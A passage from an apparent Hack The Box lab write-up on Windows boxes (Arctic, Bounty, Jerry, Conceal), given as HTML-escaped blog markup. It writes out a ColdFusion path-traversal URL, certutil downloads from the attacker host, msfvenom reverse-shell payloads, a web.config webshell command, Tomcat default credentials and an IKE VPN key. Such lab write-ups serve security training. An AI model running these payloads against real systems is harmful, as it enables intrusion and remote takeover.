href="http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I had the password too, which gave me more access. At this point, it was time to look for an RCE exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/50057" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/50057&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;At a glance, this was clearly an exploit written specifically for this box. The setup was extremely similar, and since it was written in 2021, it was basically a walkthrough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Running it got me a shell as well.&lt;/p&gt;&#10;&lt;p&gt;This was the only exploit I could find at the time, but after reading through the code, it was actually very simple. The file upload endpoint did not require authentication, so the exploit sent a request to upload a jsp file. It then started two threads: one listened for a connection while the other visited the jsp, which sent a reverse shell back.&lt;/p&gt;&#10;&lt;p&gt;Next came privilege escalation. Before trying that, I started gathering information. As long as you can get the systeminfo output, you can use the script below.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester" target="_blank" rel="noopener"&#10; &gt;https://github.com/AonCyberLabs/Windows-Exploit-Suggester&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I ran into a small issue with this script too, but pinning the version fixed it.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;pip2 install xlrd==1.2.0&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were plenty of privilege-escalation vulnerabilities, so I just needed to pick one.&lt;/p&gt;&#10;&lt;p&gt;I found this GitHub repository:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/SecWiki/windows-kernel-exploits" target="_blank" rel="noopener"&#10; &gt;https://github.com/SecWiki/windows-kernel-exploits&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;After trying them one by one, I found that MS10-059 worked. Download MS10-059.exe and transfer it to the Windows target.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;certutil -urlcache -split -f &lt;a class="link" href="http://10.10.16.3:33333/Arctic/MS10-059.exe" target="_blank" rel="noopener"&#10; &gt;http://10.10.16.3:33333/Arctic/MS10-059.exe&lt;/a&gt; .\MS10-059.exe&lt;/p&gt;&#10;&lt;p&gt;Following the tutorial for MS10-059.exe, run:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;MS10-059.exe 10.10.16.3 5555&lt;/p&gt;&#10;&lt;p&gt;nc-lvnp 5555&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;That&amp;rsquo;s all it takes.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. The first two boxes I&amp;rsquo;ve completed so far were probably meant to get me familiar with the most basic Windows penetration-testing techniques. I expect they will get harder from here.&lt;/p&gt;&#10;&lt;h2 id="3bounty"&gt;&lt;a href="#3bounty" class="header-anchor"&gt;&lt;/a&gt;3.Bounty&#10;&lt;/h2&gt;&lt;p&gt;Reconnaissance:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was only one port open. Opening it showed nothing but an image and a hint that the site was running IIS 7—and it really was IIS 7.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I then started fuzzing for directories while also checking the image for steganography and other possible information leaks.&lt;/p&gt;&#10;&lt;p&gt;Nothing turned up in the image afterward.&lt;/p&gt;&#10;&lt;p&gt;The fuzzing uncovered a directory and an endpoint.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This endpoint allowed file uploads, but it seemed to use a whitelist, so many file types could not be uploaded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;1355 indicated that the upload had failed. I tried all sorts of bypasses and IIS 7.0 file-parsing vulnerabilities—even ones that were not for 7.0.&lt;/p&gt;&#10;&lt;p&gt;None of them worked. This was genuinely a blind spot for me, so I peeked at the next step in the write-up.&lt;/p&gt;&#10;&lt;p&gt;It hinted that we needed to fuzz the file extensions. I found a wordlist I had put on Kali a month earlier.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;/usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-extensions.txt&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Besides the usual extensions, fuzzing revealed that files with the config extension could be uploaded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/tennc/webshell/blob/master/aspx/web.config" target="_blank" rel="noopener"&#10; &gt;https://github.com/tennc/webshell/blob/master/aspx/web.config&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I found a way to get a shell. Although I had never learned .NET, I could still tell at a glance how to use this file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just access the endpoint and pass the command as ?cmd=dir.&lt;/p&gt;&#10;&lt;p&gt;After uploading it, I visited &lt;a class="link" href="http://10.10.10.93/UploadedFiles/web.config?cmd=whoami" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.93/UploadedFiles/web.config?cmd=whoami&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s read the flag first: &lt;a class="link" href="http://10.10.10.93/UploadedFiles/web.config?cmd=type%20c:%5cusers%5cmerlin%5cDesktop%5cuser.txt" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.93/UploadedFiles/web.config?cmd=type%20c:\users\merlin\Desktop\user.txt&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I then tried to get an interactive shell. I uploaded nc, but it failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Better to keep it simple: upload a backdoor generated with msfvenom and chain the commands together.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://10.10.10.93/UploadedFiles/web.config?cmd=certutil%20-urlcache%20-split%20-f%20http://10.10.16.3:33333/Bounty/shell.exe%20c:\users\merlin\shell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked. I could barely find any of the other reverse-shell methods I had just tried, and the few I did find did not work. Looks like I won&amp;rsquo;t be able to live without msfvenom for reverse shells from now on.&lt;/p&gt;&#10;&lt;p&gt;As usual, I started with systeminfo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;ms10-059 still worked, so I gave it another shot.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;Privilege escalation was just like what I had learned earlier: if a ready-made exploit exists, use it. As for getting a shell, I was not very familiar with ASPX, so I kept trying IIS parsing vulnerabilities, upload bypasses, and a whole string of other tricks. I had gone completely down the wrong path and never found the web.config exploit. Once I learned about it afterward, though, things became much easier. I had only just started working through Windows boxes, and this one was a pretty reasonable difficulty level.&lt;/p&gt;&#10;&lt;h2 id="4jerry"&gt;&lt;a href="#4jerry" class="header-anchor"&gt;&lt;/a&gt;4.Jerry&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Directory brute-forcing turned up nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The tomcat version is there too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a payload for that version, but it failed. Trying it manually didn&amp;rsquo;t work either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s brute-force the manager login.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/m0_53008479/article/details/124865806" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/m0_53008479/article/details/124865806&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;tomcat:s3cret&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;The login worked, and I made it into the admin panel.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw &amp;gt; ft.jsp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;jar cvf ft.war ft.jsp&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Just upload it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0035.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Visit &lt;a class="link" href="http://10.10.10.95:8080/ft6/ft6.jsp" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.95:8080/ft/ft.jsp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The reverse shell came back as SYSTEM.&lt;/p&gt;&#10;&lt;p&gt;I found the C:\Users\Administrator\Desktop\flags directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0036.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Both flags are in there. This box is mainly just for getting familiar with the workflow, I guess.&lt;/p&gt;&#10;&lt;h2 id="5conceal"&gt;&lt;a href="#5conceal" class="header-anchor"&gt;&lt;/a&gt;5.Conceal&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0037.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This box is rated hard. A lot of people consider it somewhere above medium, so let&amp;rsquo;s take a look.&lt;/p&gt;&#10;&lt;p&gt;Reconnaissance:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0038.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0039.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only UDP ports are open. Keeping UDP scans running really is a good habit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://refabr1k.gitbook.io/oscp/info-gathering/snmp" target="_blank" rel="noopener"&#10; &gt;https://refabr1k.gitbook.io/oscp/info-gathering/snmp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This page covers a few ways to pentest SNMP, but they are all fairly basic enumeration and information-disclosure techniques.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0040.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0041.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It really doesn&amp;rsquo;t look useful.&lt;/p&gt;&#10;&lt;p&gt;I tried a whole bunch of exploits afterward, but none worked. I did notice something odd, though.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;snmpwalk -c public -v1 10.10.10.116&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;One line contains an IKE VPN password. I had never encountered UDP port 500 before, but I was fairly familiar with IKE. When I was learning, I tried all three ways of getting into an internal network: openvpn, IKE, and FRP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0042.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0043.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had thrown practically every exploit I could find at it, though I might still have missed something. I even found an MS06-074 exploit for SNMP.&lt;/p&gt;&#10;&lt;p&gt;At this point, IKE was the only attack surface left. It felt like the box was telling me to connect with this password.&lt;/p&gt;&#10;&lt;p&gt;For the isakmp service, I found the following blog post:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/cn/network-services-pentesting/ipsec-ike-vpn-pentesting" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/cn/network-services-pentesting/ipsec-ike-vpn-pentesting&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This article explains the service thoroughly and gives plenty of exploitation methods.&lt;/p&gt;&#10;&lt;p&gt;Next, I followed its tutorial step by step.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0044.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;As you saw in the previous response, there is a field called &lt;strong&gt;AUTH&lt;/strong&gt; whose value is &lt;strong&gt;PSK&lt;/strong&gt;. This means the VPN is configured with a pre-shared key (which is great for penetration testers). &lt;strong&gt;The value on the final line is also very important:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;em&gt;&lt;strong&gt;1 returned handshake; 0 returned notify:&lt;/strong&gt;&lt;/em&gt; This means &lt;strong&gt;the target is configured for IPsec and is willing to negotiate IKE, and one or more of the transforms you proposed are acceptable&lt;/strong&gt; (the valid transform will be shown in the output).&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0045.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I may not have found the vendor.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;while read line; do (echo &amp;ldquo;Found ID: $line&amp;rdquo; &amp;amp;&amp;amp; ike-scan -M -A -n $line 10.10.10.116) | grep -B14 &amp;ldquo;1 returned handshake&amp;rdquo; | grep &amp;ldquo;Found ID:&amp;rdquo;; done &amp;lt; /usr/share/wordlists/SecLists-master/Miscellaneous/ike-groupid.txt&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;This step searches for the group ID.&lt;/p&gt;&#10;&lt;p&gt;But I couldn&amp;rsquo;t find the group name. Maybe the wordlist wasn&amp;rsquo;t strong enough. The whole time, I kept searching for a way to connect to the IKE VPN, but no blog gave me an answer. The only useful one was the post above. It told me I needed a group ID and PSK. I already had the PSK, but its process was to enter the group name and PSK, then brute-force with username and password wordlists. Only after obtaining the group name, username, password, and PSK could I connect. That was far too much trouble, and it didn&amp;rsquo;t seem realistic—especially when I couldn&amp;rsquo;t even brute-force the group name.&lt;/p&gt;&#10;&lt;p&gt;I looked at the next step in a write-up here and realized I hadn&amp;rsquo;t done anything wrong. Having the PSK was actually enough to connect; I just hadn&amp;rsquo;t found the right tool or method. I didn&amp;rsquo;t look at what tool the write-up used, even though I had just spent ages searching for connection methods and found nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0046.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At least I could confirm I was on the right track.&lt;/p&gt;&#10;&lt;p&gt;Eventually, I found it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0047.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I finally found a tutorial after consulting a huge number of blog posts. This configuration file was doing my head in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0048.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Going back to the earlier output, I found that its algorithm was 3DES. This blog showed me how 3DES should be configured.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wiki.strongswan.org/issues/2666" target="_blank" rel="noopener"&#10; &gt;https://wiki.strongswan.org/issues/2666&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0049.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got two important settings from it. Of course, the other settings still had to be worked out one by one.&lt;/p&gt;&#10;&lt;p&gt;Next, I tried connecting. If it worked, I wouldn&amp;rsquo;t need to inspect the remaining settings.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0050.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It still failed and just kept trying to connect.&lt;/p&gt;&#10;&lt;p&gt;So I went through the settings one at a time. The version might be wrong.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0051.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A quick Google search turned up the parameter.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0052.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Changing it to 1 fixed that.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0053.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now to test whether it could connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0054.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still an error. I continued checking the other parameters.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wiki.strongswan.org/projects/strongswan/wiki/connsection" target="_blank" rel="noopener"&#10; &gt;https://wiki.strongswan.org/projects/strongswan/wiki/connsection&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog documents all the parameters, and I found a crucial detail there. I had never set this option, which was why I couldn&amp;rsquo;t connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0055.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;left|rightsubnet lets you select the protocol. The default is TCP/UDP, which prevented me from connecting because its UDP ports were already exposed. That was the logic here: to connect, I had to use TCP only. With that, the configuration was complete and I could finally connect.&lt;/p&gt;&#10;&lt;p&gt;Here is the full process:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;apt-get install strongswan libcharon-extra-plugins&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Edit the following configuration file:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;vim /etc/ipsec.secrets&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This file holds shared secrets or RSA private keys for authentication.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# RSA private key for this host, authenticating it to any other host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# which knows the public part.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;: PSK &amp;#34;Dudecake1!&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;vim /etc/ipsec.conf&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# ipsec.conf - strongSwan IPsec configuration file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# basic configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;config setup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; charondebug=&amp;#34;all&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; uniqueids=yes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 